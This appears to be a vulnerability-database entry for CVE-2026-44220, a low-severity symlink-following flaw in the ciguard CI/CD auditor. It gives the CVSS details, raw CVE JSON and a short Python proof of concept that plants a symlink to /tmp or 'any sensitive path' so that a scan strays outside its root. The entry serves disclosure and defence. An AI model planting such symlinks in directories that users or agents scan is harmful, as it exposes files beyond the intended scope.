Security Vulnerability Report
中文
CVE-2026-44220 CVSS 3.2 LOW

CVE-2026-44220

Published: 2026-05-12 20:16:43
Last Modified: 2026-05-12 20:16:43

Description

ciguard is a static security auditor for CI/CD pipelines. From 0.8.0 to 0.8.1 , the discover_pipeline_files() function in src/ciguard/discovery.py walks a directory tree following symlinks, with cycle protection via tracking visited resolved paths. An attacker who can plant a symlink in a directory the user (or AI agent) scans can cause discovery to walk into the symlink target and return paths to pipeline-shaped files outside the requested root. This vulnerability is fixed in 0.8.2.

CVSS Details

CVSS Score
3.2
Severity
LOW
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

ciguard 0.8.0
ciguard 0.8.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ PoC for CVE-2026-44220 Demonstrates symlink following in ciguard discovery module. """ import os # Setup a malicious directory structure malicious_dir = "poc_target" os.makedirs(malicious_dir, exist_ok=True) # Create a symlink pointing outside the current directory (e.g. /tmp) # This simulates an attacker planting a link in a repo being scanned symlink_path = os.path.join(malicious_dir, "evil_symlink") target_path = "/tmp" # Or any sensitive path try: os.symlink(target_path, symlink_path) print(f"[+] Created symlink: {symlink_path} -> {target_path}") print("[!] If ciguard scans 'poc_target', it will traverse into /tmp") except OSError as e: print(f"[-] Error creating symlink: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-44220", "sourceIdentifier": "[email protected]", "published": "2026-05-12T20:16:42.893", "lastModified": "2026-05-12T20:16:42.893", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "ciguard is a static security auditor for CI/CD pipelines. From 0.8.0 to 0.8.1 , the discover_pipeline_files() function in src/ciguard/discovery.py walks a directory tree following symlinks, with cycle protection via tracking visited resolved paths. An attacker who can plant a symlink in a directory the user (or AI agent) scans can cause discovery to walk into the symlink target and return paths to pipeline-shaped files outside the requested root. This vulnerability is fixed in 0.8.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:N/A:N", "baseScore": 3.2, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.5, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-59"}]}], "references": [{"url": "https://github.com/Jo-Jo98/ciguard/security/advisories/GHSA-8cxw-cc62-q28v", "source": "[email protected]"}]}}